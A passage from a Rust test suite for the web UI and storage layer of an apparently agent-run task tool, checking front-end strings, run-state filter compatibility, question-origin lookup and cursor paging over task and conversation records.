24553        assert_eq!(stale.status, 200, "an older build must be replaced");
24554        assert!(stale.body.contains("renderRunActions"));
24555    }
24556
24557    #[test]
24558    fn the_task_detail_has_an_actions_fab_and_sheet() {
24559        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
24560        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
24561        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
24562        // Shown only on the task route, closed everywhere else.
24563        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
24564        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
24565        // Refreshed whenever the detail redraws, including the loading state.
24566        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
24567        assert!(APP_JS.contains("renderTaskActions(null);"));
24568        // Same action renderers as the Queue card. Bound this check by the
24569        // next function, since additional task controls can grow the sheet.
24570        let (_, sheet) = APP_JS
24571            .split_once("function renderTaskActions(task) {")
24572            .expect("sheet renderer");
24573        let (body, _) = sheet
24574            .split_once("\nfunction openTaskActions() {")
24575            .expect("end of sheet renderer");
24576        assert!(body.contains("changePriority("));
24577        assert!(body.contains("openTaskEdit(task)"));
24578        assert!(body.contains("renderTaskHoldBox(host"));
24579        assert!(body.contains("renderTaskDoneBox(host"));
24580        assert!(body.contains("renderTaskDeleteBox(host"));
24581        assert!(APP_JS.contains("API.priority(id)"));
24582        assert!(APP_JS.contains("API.deleteTask(id)"));
24583        // A deleted task sends the operator back to the queue.
24584        assert!(APP_JS.contains("location.hash = \"#/queue\""));
24585        // A refusal is shown inside the sheet.
24586        assert!(APP_JS.contains("$(\"task-actions-error\")"));
24587    }
24588
24589    #[test]
24590    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
24591        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
24592        let actions = INDEX_HTML
24593            .find("id=\"run-actions-box\"")
24594            .expect("actions box");
24595        assert!(task < actions, "the task entry comes first in the sheet");
24596        assert!(APP_JS.contains("renderRunTaskEntry"));
24597        assert!(APP_JS.contains("\"Open task \""));
24598        // A run without a task says why there is nothing to open.
24599        assert!(APP_JS.contains("started directly, no task"));
24600        assert!(APP_JS.contains("sheet-task-link"));
24601        assert!(APP_JS.contains("task-chip-link"));
24602    }
24603
24604    #[test]
24605    fn the_deck_never_sends_the_operator_to_a_terminal() {
24606        // The whole point of the phone UI is that a terminal is not needed.
24607        // The delete control used to answer with "Run `magi fold` first."
24608        assert!(
24609            !APP_JS.contains("Run `magi fold` first"),
24610            "the deck must offer the fold, not prescribe a shell command"
24611        );
24612        assert!(APP_JS.contains("foldRun:"));
24613        assert!(APP_JS.contains("resumeRun:"));
24614        assert!(APP_JS.contains("renderRunActions"));
24615
24616        // Folding is destructive and armed in two steps, like deleting.
24617        assert!(APP_JS.contains("armedFold"));
24618        assert!(APP_JS.contains("Yes, fold worktrees"));
24619
24620        // And the copy has to say that the two actions are opposites, because
24621        // folding throws away exactly what a resume would continue from.
24622        assert!(APP_JS.contains("can no longer be resumed"));
24623    }
24624
24625    #[test]
24626    fn a_finished_run_explains_itself_with_its_own_last_line() {
24627        // The deck used to answer "why did this stop?" with a sentence chosen
24628        // by status alone. Run e633 stalled because two judges answered with
24629        // the wrong JSON shape and its card said "The panel collapsed on
24630        // agent quota" - with `quota: []` in the record and a quota-loss
24631        // counter right above it that correctly said nothing.
24632        assert!(
24633            !APP_JS.contains("collapsed on agent quota"),
24634            "a stall must not be explained by a cause the deck did not check"
24635        );
24636        assert!(
24637            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
24638            "and a block must not offer a guess with an `or` in it"
24639        );
24640
24641        // The reason it does have is `run.event`, which must reach finished
24642        // runs: gating it on movement hid the recorded truth at the one moment
24643        // the operator is reading the card to find out what happened.
24644        assert!(
24645            APP_JS.contains("setText(r.event, run.event || \"\")"),
24646            "the run's last line is rendered unconditionally"
24647        );
24648        assert!(
24649            !APP_JS.contains("moving && run.event"),
24650            "and never gated on the run still moving"
24651        );
24652
24653        // Quota keeps its own counter, fed by the number actually recorded.
24654        assert!(APP_JS.contains("lost to quota"));
24655    }
24656
24657    /// The runs tree (section) and the state chips (waiting/done) are two
24658    /// independent lenses ANDed together in `renderRuns`, and some pairings
24659    /// can never both be true for any run - every "Landed"/"Ended" run is
24660    /// done by construction, so pairing either with "Active" or "In flight"
24661    /// always rendered zero cards with the filter bar still claiming
24662    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
24663    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
24664    /// a handful of (waiting, status) shapes standing in for the run
24665    /// lifecycle, because `cargo test` cannot execute the front end.
24666    ///
24667    /// That stand-in list is itself the part that drifted twice in review:
24668    /// once shipped with `waiting: true` paired with a done status the
24669    /// lifecycle cannot produce, then over-corrected into treating every
24670    /// waiting run as never done - which made "Waiting on you" look
24671    /// incompatible with "Done" even for the one real, reachable shape
24672    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
24673    /// that combination. This test parses the shapes and the done-rule back
24674    /// out of `APP_JS`, reimplements `runSection` and the five state
24675    /// predicates independently in Rust, and checks the resulting
24676    /// section/filter compatibility table against the lifecycle rules by
24677    /// hand - so either direction of drift fails it again.
24678    #[test]
24679    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
24680        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
24681        let shapes_body_start =
24682            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
24683        let shapes_close = APP_JS[shapes_body_start..]
24684            .find("].map(")
24685            .expect("the shape list is closed by its done-computing .map(...)")
24686            + shapes_body_start;
24687        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
24688
24689        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
24690        for entry in shapes_src.split('{').skip(1) {
24691            let waiting = entry.contains("waiting: true");
24692            let dead = entry.contains("live: \"dead\"");
24693            let status_at =
24694                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
24695            let status_end = entry[status_at..]
24696                .find('"')
24697                .expect("the status string is closed")
24698                + status_at;
24699            let parked = entry.contains("display_status: \"parked\"");
24700            shapes.push((
24701                waiting,
24702                entry[status_at..status_end].to_string(),
24703                dead,
24704                parked,
24705            ));
24706        }
24707        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
24708
24709        // The done rule itself (`!["implementing"].includes(shape.status)`),
24710        // read out of the source rather than hardcoded, so a renamed
24711        // in-flight status can't silently make every parsed shape "done".
24712        let done_rule_marker = "done: !";
24713        let done_rule_at = APP_JS[shapes_close..]
24714            .find(done_rule_marker)
24715            .expect("the done rule follows the shape list")
24716            + shapes_close
24717            + done_rule_marker.len();
24718        let includes_at = APP_JS[done_rule_at..]
24719            .find(".includes(shape.status)")
24720            .expect("the done rule ends in .includes(shape.status)")
24721            + done_rule_at;
24722        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
24723            .trim()
24724            .trim_start_matches('[')
24725            .trim_end_matches(']')
24726            .split(',')
24727            .map(|s| s.trim().trim_matches('"'))
24728            .filter(|s| !s.is_empty())
24729            .collect();
24730
24731        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
24732            .into_iter()
24733            .map(|(waiting, status, dead, parked)| {
24734                let done = !not_done.contains(&status.as_str());
24735                (waiting, status, dead, parked, done)
24736            })
24737            .collect();
24738
24739        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
24740        // outright, then merged/ready land, stalled/blocked/failed/
24741        // verified_noop end, and everything else is still in flight.
24742        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
24743            if waiting {
24744                return "waiting";
24745            }
24746            if dead
24747                && !parked
24748                && !matches!(
24749                    status,
24750                    "merged"
24751                        | "ready"
24752                        | "stalled"
24753                        | "blocked"
24754                        | "failed"
24755                        | "verified_noop"
24756                        | "superseded"
24757                        | "already_in_base"
24758                )
24759            {
24760                return "stale";
24761            }
24762            match status {
24763                "merged" | "ready" => "landed",
24764                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
24765                | "already_in_base" => "ended",
24766                _ => "flight",
24767            }
24768        }
24769
24770        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
24771        // way.
24772        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
24773            match filter_key {
24774                "active" => !done,
24775                "flight" => !done && !waiting && !dead,
24776                "stale" => !done && !waiting && dead,
24777                "waiting" => waiting,
24778                "done" => done,
24779                "all" => true,
24780                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
24781            }
24782        }
24783
24784        let compatible = |section: &str, filter_key: &str| {
24785            shapes.iter().any(|(waiting, status, dead, parked, done)| {
24786                run_section(*waiting, status, *dead, *parked) == section
24787                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
24788            })
24789        };
24790
24791        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
24792        // (active, flight, stale, waiting, done, all) - hand-derived from the
24793        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
24794        // currently contains.
24795        let expected = [
24796            ("waiting", [true, false, false, true, true, true]),
24797            ("stale", [true, false, true, false, false, true]),
24798            ("flight", [true, true, false, false, false, true]),
24799            ("landed", [false, false, false, false, true, true]),
24800            ("ended", [false, false, false, false, true, true]),
24801        ];
24802        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
24803
24804        for (section, wants) in expected {
24805            for (filter_key, want) in filter_keys.iter().zip(wants) {
24806                assert_eq!(
24807                    compatible(section, filter_key),
24808                    want,
24809                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
24810                );
24811            }
24812        }
24813
24814        // The compatibility check exists only to be acted on: both pickers
24815        // must actually consult it rather than just render its answer.
24816        assert!(
24817            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
24818        );
24819        assert!(APP_JS.contains(
24820            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
24821        ));
24822        assert!(APP_JS.contains(
24823            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
24824        ));
24825    }
24826
24827    #[tokio::test]
24828    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
24829        // An operator-named directory - git checkout or not - is never
24830        // second-guessed, even when it does not exist at all: only the
24831        // flag's own unmodified `.` default is ever eligible for discovery.
24832        let dir = tempfile::tempdir().expect("tempdir");
24833        let explicit = dir.path().join("not-a-checkout");
24834        std::fs::create_dir_all(&explicit).expect("create dir");
24835        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
24836
24837        let missing = dir.path().join("does-not-exist-at-all");
24838        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
24839    }
24840
24841    #[test]
24842    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
24843        assert!(APP_JS.contains("function statsDonutArcs"));
24844        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
24845        // A bucket click filters by the statuses src/stats.rs counts in it.
24846        assert!(APP_JS.contains("function statusInBucket"));
24847        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
24848        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
24849        let buckets = [
24850            "merged",
24851            "ready",
24852            "in_progress",
24853            "blocked",
24854            "failed",
24855            "verified_noop",
24856            "superseded",
24857            "stalled",
24858        ];
24859        for key in buckets {
24860            let var = format!("--verdict-{key}:");
24861            // Light, OS-dark and pinned-dark blocks each define it.
24862            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
24863            assert!(
24864                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
24865                "{key}"
24866            );
24867        }
24868    }
24869
24870    #[tokio::test]
24871    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
24872        let dir = tempfile::tempdir().expect("tempdir");
24873        let queue = Queue::at(dir.path().join("queue"));
24874        let talks = Talks::at(dir.path().join("talks"));
24875        std::fs::create_dir_all(queue.root()).unwrap();
24876        std::fs::create_dir_all(talks.root()).unwrap();
24877
24878        // Put a corrupt json file in both stores
24879        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
24880        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
24881
24882        // Valid task and talk
24883        let mut task = Task::new(
24884            "title".into(),
24885            "inst".into(),
24886            PathBuf::from("/repo"),
24887            Source::Human,
24888        );
24889        task.id = "20261019-123456-abcd".into();
24890        // Write manually so it's a valid file
24891        std::fs::write(
24892            queue.path_of(&task.id),
24893            serde_json::to_string(&task).unwrap(),
24894        )
24895        .unwrap();
24896
24897        let talk_id = "20261019-234567-cdef";
24898        seed_talk_at(&talks, talk_id, "open");
24899
24900        // Exact match should succeed without failing on the corrupt json file
24901        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
24902        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
24903
24904        // Prefix match should also succeed by scanning file names without deserializing corrupt file
24905        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
24906        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
24907    }
24908
24909    #[tokio::test]
24910    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
24911        let home = tempfile::tempdir().unwrap();
24912        let ui = delta_test_ui(home.path());
24913        // A full history traversal would fail even with no questions.
24914        std::fs::write(ui.queue.root(), "not a directory").unwrap();
24915        std::fs::write(ui.talks.root(), "not a directory").unwrap();
24916        assert!(
24917            questions_list(State(ui.clone()))
24918                .await
24919                .unwrap()
24920                .0
24921                .is_empty()
24922        );
24923        assert!(
24924            question_origins(State(ui.clone()))
24925                .await
24926                .unwrap()
24927                .0
24928                .is_empty()
24929        );
24930        let mut question = Question::new(
24931            "run-history".into(),
24932            "review".into(),
24933            "seat".into(),
24934            "Useful question".into(),
24935            "Useful detail".into(),
24936            vec![],
24937        );
24938        ui.questions.put(&mut question).unwrap();
24939        let core = questions_core(State(ui.clone())).await.unwrap().0;
24940        assert_eq!(core.len(), 1);
24941        assert_eq!(core[0].question.summary, "Useful question");
24942        assert!(!core[0].can_consult_chat);
24943        assert!(core[0].origin_chat.is_none());
24944        assert_eq!(core[0].record_revision, question_record_revision(&question));
24945        assert!(question_origins(State(ui.clone())).await.is_err());
24946        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24947    }
24948
24949    #[tokio::test]
24950    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
24951        let home = tempfile::tempdir().unwrap();
24952        let ui = delta_test_ui(home.path());
24953        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
24954        let mut parent = Task::new(
24955            "parent".into(),
24956            "body".into(),
24957            PathBuf::from("/repo"),
24958            Source::Agent {
24959                run: chat.clone(),
24960                node: crate::queue::CHAT_NODE.into(),
24961            },
24962        );
24963        parent.id = "parent-task".into();
24964        parent.runs = vec!["parent-run".into()];
24965        ui.queue.put(&mut parent).unwrap();
24966        let mut previous = parent;
24967        for generation in 1..=2 {
24968            let mut child = Task::new(
24969                "child".into(),
24970                "body".into(),
24971                PathBuf::from("/repo"),
24972                Source::Human,
24973            );
24974            child.id = format!("child-task-{generation}");
24975            child.runs = vec![format!("child-run-{generation}")];
24976            child.followup = Some(crate::queue::FollowUp {
24977                origin_task: Some(previous.id.clone()),
24978                run: previous.runs[0].clone(),
24979                pr: String::new(),
24980                findings: vec![],
24981                generation,
24982            });
24983            ui.queue.put(&mut child).unwrap();
24984            previous = child;
24985        }
24986        // A run may have the same spelling as another task's id; its owner
24987        // must not override a typed task reference.
24988        let mut collision = Task::new(
24989            "collision".into(),
24990            String::new(),
24991            PathBuf::from("/repo"),
24992            Source::Human,
24993        );
24994        collision.id = "collision-task".into();
24995        collision.runs = vec![previous.id.clone()];
24996        ui.queue.put(&mut collision).unwrap();
24997        let mut questions = Vec::new();
24998        for (node, reference, expected, eligible) in [
24999            (crate::triage::NODE, previous.id.as_str(), true, false),
25000            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
25001            ("review", previous.runs[0].as_str(), true, true),
25002            (
25003                crate::bump::NOTICE_NODE,
25004                previous.runs[0].as_str(),
25005                true,
25006                false,
25007            ),
25008            // Identical text in the wrong reference namespace is not evidence.
25009            ("review", previous.id.as_str(), false, false),
25010            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
25011            ("review", "unrelated", false, false),
25012        ] {
25013            let mut q = Question::new(
25014                reference.into(),
25015                node.into(),
25016                "seat".into(),
25017                "Question".into(),
25018                String::new(),
25019                vec![],
25020            );
25021            ui.questions.put(&mut q).unwrap();
25022            questions.push((q, expected, eligible));
25023        }
25024        for (node, reference, associated, eligible) in [
25025            (crate::reconcile::NODE, previous.id.as_str(), true, false),
25026            (
25027                crate::reconcile::NODE,
25028                previous.runs[0].as_str(),
25029                false,
25030                true,
25031            ),
25032            ("implement", previous.id.as_str(), false, false),
25033        ] {
25034            let mut q = Question::new(
25035                reference.into(),
25036                node.into(),
25037                crate::reconcile::SEAT.into(),
25038                "Reconcile".into(),
25039                String::new(),
25040                vec![],
25041            );
25042            ui.questions.put(&mut q).unwrap();
25043            questions.push((q, associated, eligible));
25044        }
25045        let mut release = Question::new(
25046            "release-record".into(),
25047            crate::bump::NOTICE_NODE.into(),
25048            "release-watch".into(),
25049            "Release".into(),
25050            String::new(),
25051            vec![],
25052        );
25053        ui.questions.put(&mut release).unwrap();
25054        let watch = crate::release_watch::WatchState {
25055            question: Some(release.id.clone()),
25056            run: Some(previous.runs[0].clone()),
25057            held_task: Some(previous.id.clone()),
25058            ..Default::default()
25059        };
25060        let watch_dir = home.path().join("release-watch");
25061        std::fs::create_dir_all(&watch_dir).unwrap();
25062        let watch_path = watch_dir.join("watch.json");
25063        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25064        // Ordinary questions and bump notices do not need watch-store I/O.
25065        for batch in [
25066            Vec::new(),
25067            questions.iter().map(|(q, _, _)| q.clone()).collect(),
25068        ] {
25069            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
25070            assert!(watches.is_empty());
25071        }
25072        questions.push((release.clone(), true, false));
25073
25074        let views = questions_list(State(ui.clone())).await.unwrap().0;
25075        let origins = question_origins(State(ui.clone())).await.unwrap().0;
25076        for (q, associated, eligible) in &questions {
25077            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
25078            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
25079            let expected = associated.then_some(chat.as_str());
25080            assert_eq!(
25081                view.origin_chat.as_deref(),
25082                expected,
25083                "{} {}",
25084                q.node,
25085                q.run
25086            );
25087            assert_eq!(origin.origin_chat.as_deref(), expected);
25088            assert_eq!(view.origin_chat_closed, *associated);
25089            assert_eq!(origin.origin_chat_closed, *associated);
25090            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
25091            assert_eq!(origin.can_consult_chat, *eligible);
25092        }
25093        // Either saved link independently recovers a release question's owner.
25094        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
25095            let link = crate::release_watch::WatchState {
25096                run,
25097                held_task,
25098                ..watch.clone()
25099            };
25100            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
25101            let (tasks, talks, watches) =
25102                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25103            assert_eq!(
25104                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25105                    .unwrap()
25106                    .id,
25107                chat,
25108            );
25109            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
25110        }
25111        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25112        // Even identical duplicate records are ambiguous: ignore their links.
25113        let duplicate_path = watch_dir.join("duplicate.json");
25114        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25115        let (tasks, talks, watches) =
25116            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25117        assert!(
25118            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25119                .is_none()
25120        );
25121        std::fs::remove_file(duplicate_path).unwrap();
25122        // Another explicit owner is a conflict even if it has no chat.
25123        let mut unrelated = Task::new(
25124            "other".into(),
25125            String::new(),
25126            PathBuf::from("/repo"),
25127            Source::Human,
25128        );
25129        unrelated.id = "unrelated-task".into();
25130        ui.queue.put(&mut unrelated).unwrap();
25131        let mut conflicting = watch.clone();
25132        conflicting.held_task = Some(unrelated.id);
25133        std::fs::write(
25134            watch_dir.join("conflict.json"),
25135            serde_json::to_vec(&conflicting).unwrap(),
25136        )
25137        .unwrap();
25138        let (tasks, talks, watches) =
25139            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25140        assert!(
25141            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25142                .is_none()
25143        );
25144        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
25145        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
25146        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
25147            assert!(origin.origin_chat.is_none());
25148            assert!(!origin.origin_chat_closed);
25149        }
25150    }
25151
25152    #[test]
25153    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
25154        let home = tempfile::tempdir().unwrap();
25155        let ui = delta_test_ui(home.path());
25156        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
25157        for i in 0..1000 {
25158            let mut task = Task::new(
25159                "unrelated".into(),
25160                "instruction ".repeat(256),
25161                PathBuf::from("/repo"),
25162                Source::Human,
25163            );
25164            task.id = format!("history-{i:04}");
25165            ui.queue.put(&mut task).unwrap();
25166            let id = seed_talk_at(&ui.talks, &task.id, "open");
25167            let mut talk = ui.talks.get(&id).unwrap();
25168            talk.pending = "history ".repeat(256);
25169            ui.talks.put(&mut talk).unwrap();
25170        }
25171        let mut parent = Task::new(
25172            "parent".into(),
25173            "body".into(),
25174            PathBuf::from("/repo"),
25175            Source::Agent {
25176                run: chat_id.clone(),
25177                node: crate::queue::CHAT_NODE.into(),
25178            },
25179        );
25180        parent.id = "task-parent".into();
25181        parent.runs = vec!["run-parent".into()];
25182        ui.queue.put(&mut parent).unwrap();
25183        let mut child = Task::new(
25184            "child".into(),
25185            "body".into(),
25186            PathBuf::from("/repo"),
25187            Source::Human,
25188        );
25189        child.id = "task-child".into();
25190        child.runs = vec!["run-child".into()];
25191        child.followup = Some(crate::queue::FollowUp {
25192            run: "run-parent".into(),
25193            origin_task: Some(parent.id.clone()),
25194            pr: "https://example.invalid/pr/1".into(),
25195            findings: vec![],
25196            generation: 1,
25197        });
25198        ui.queue.put(&mut child).unwrap();
25199        let mut question = Question::new(
25200            child.id.clone(),
25201            crate::conduct::NODE.into(),
25202            "seat".into(),
25203            "Continue?".into(),
25204            String::new(),
25205            vec![],
25206        );
25207        let (tasks, talks, _watches) =
25208            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25209        assert_eq!(tasks.len(), 2);
25210        assert_eq!(talks.len(), 1);
25211        assert_eq!(
25212            ui.monitor.queue_index.lock().unwrap().reparsed,
25213            0,
25214            "exact ancestry bypasses the index"
25215        );
25216        assert_eq!(
25217            crate::consult::origin_talk(&tasks, &talks, &question)
25218                .unwrap()
25219                .id,
25220            chat_id
25221        );
25222        question.run = "run-child".into();
25223        question.node = "review".into();
25224        for origin_task in [Some(parent.id.clone()), None] {
25225            child.followup.as_mut().unwrap().origin_task = origin_task;
25226            ui.queue.put(&mut child).unwrap();
25227            let (tasks, talks, _watches) =
25228                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25229            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
25230            let expected =
25231                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
25232                    .unwrap();
25233            assert_eq!(actual.id, expected.id);
25234            assert!(!actual.status.open());
25235            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
25236            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25237            // Without Unix file identity, every readable record must be
25238            // reparsed to detect same-size, same-mtime replacements safely.
25239            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
25240            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
25241        }
25242        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
25243        ui.queue.put(&mut child).unwrap();
25244        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
25245        let (tasks, talks, _watches) =
25246            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25247        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
25248        child.origin_chat = Some(chat_id.clone());
25249        ui.queue.put(&mut child).unwrap();
25250        let (tasks, talks, _watches) =
25251            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25252        assert_eq!(
25253            crate::consult::origin_talk(&tasks, &talks, &question)
25254                .unwrap()
25255                .id,
25256            chat_id
25257        );
25258        let revision = question_record_revision(&question);
25259        question.abandon("settled elsewhere");
25260        assert_ne!(revision, question_record_revision(&question));
25261        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
25262        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
25263        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
25264        let (tasks, talks, _watches) =
25265            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25266        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
25267    }
25268
25269    #[test]
25270    fn list_cursors_freeze_membership_and_expire_explicitly() {
25271        let home = tempfile::tempdir().unwrap();
25272        let ui = delta_test_ui(home.path());
25273        std::fs::create_dir_all(ui.queue.root()).unwrap();
25274        for i in 0..40 {
25275            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
25276        }
25277        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
25278        assert_eq!(first.len(), STORE_PAGE_SIZE);
25279        let cursor = cursor.unwrap();
25280        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
25281        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
25282        let (second, _) = page_ids(
25283            &ui,
25284            false,
25285            PageQuery {
25286                before: Some(cursor.clone()),
25287            },
25288        )
25289        .unwrap();
25290        assert_eq!(second[0], "record-0023");
25291        assert!(second.iter().all(|id| !first.contains(id)));
25292        assert!(
25293            page_ids(
25294                &ui,
25295                true,
25296                PageQuery {
25297                    before: Some(cursor.clone())
25298                }
25299            )
25300            .is_err()
25301        );
25302        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
25303        assert_eq!(fresh[0], "record-9999");
25304        ui.monitor.list_walks.lock().unwrap().clear();
25305        assert!(
25306            page_ids(
25307                &ui,
25308                false,
25309                PageQuery {
25310                    before: Some(cursor)
25311                }
25312            )
25313            .is_err()
25314        );
25315    }
25316
25317    #[tokio::test]
25318    async fn talk_pages_load_every_open_then_frozen_closed_history() {
25319        let home = tempfile::tempdir().unwrap();
25320        let ui = delta_test_ui(home.path());
25321        // Every closed conversation is newer by ID than every open conversation.
25322        for i in 0..23 {
25323            seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
25324        }
25325        for i in 0..45 {
25326            seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
25327        }
25328        std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
25329        let first = talks_page(
25330            State(ui.clone()),
25331            Query(PageQuery::default()),
25332            header::HeaderMap::new(),
25333        )
25334        .await
25335        .unwrap()
25336        .0;
25337        assert_eq!(
25338            first.rows.iter().filter(|row| row.status.open()).count(),
25339            23
25340        );
25341        assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
25342        assert!(first.rows[..23].iter().all(|row| row.status.open()));
25343        let parsed = ui
25344            .monitor
25345            .talk_parses
25346            .load(std::sync::atomic::Ordering::Relaxed);
25347        assert_eq!(
25348            parsed,
25349            first.rows.len(),
25350            "closed bodies outside this page are not restored"
25351        );
25352        let fresh = talks_page(
25353            State(ui.clone()),
25354            Query(PageQuery::default()),
25355            header::HeaderMap::new(),
25356        )
25357        .await
25358        .unwrap()
25359        .0;
25360        assert_eq!(fresh.rows.len(), first.rows.len());
25361        assert_eq!(
25362            ui.monitor
25363                .talk_parses
25364                .load(std::sync::atomic::Ordering::Relaxed),
25365            parsed
25366        );
25367        let mut seen: std::collections::HashSet<_> =
25368            first.rows.iter().map(|row| row.id.clone()).collect();
25369        // Status changes keep their original membership position until refresh.
25370        seed_talk_at(&ui.talks, "20261019-000000-000", "open");
25371        seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
25372        std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
25373        let mut next = first.next;
25374        while let Some(cursor) = next {
25375            let page = talks_page(
25376                State(ui.clone()),
25377                Query(PageQuery {
25378                    before: Some(cursor),
25379                }),
25380                header::HeaderMap::new(),
25381            )
25382            .await
25383            .unwrap()
25384            .0;
25385            assert!(page.rows.len() <= STORE_PAGE_SIZE);
25386            for row in page.rows {
25387                assert!(seen.insert(row.id), "a cursor must not repeat membership");
25388            }
25389            next = page.next;
25390        }
25391        let expected: HashSet<_> = (0..23)
25392            .map(|i| format!("20260101-000000-{i:03}"))
25393            .chain(
25394                (0..45)
25395                    .filter(|i| *i != 1)
25396                    .map(|i| format!("20261019-000000-{i:03}")),
25397            )
25398            .collect();
25399        assert_eq!(
25400            seen, expected,
25401            "the cursor walk must return every surviving ID"
25402        );
25403        let refreshed = talks_page(
25404            State(ui.clone()),
25405            Query(PageQuery::default()),
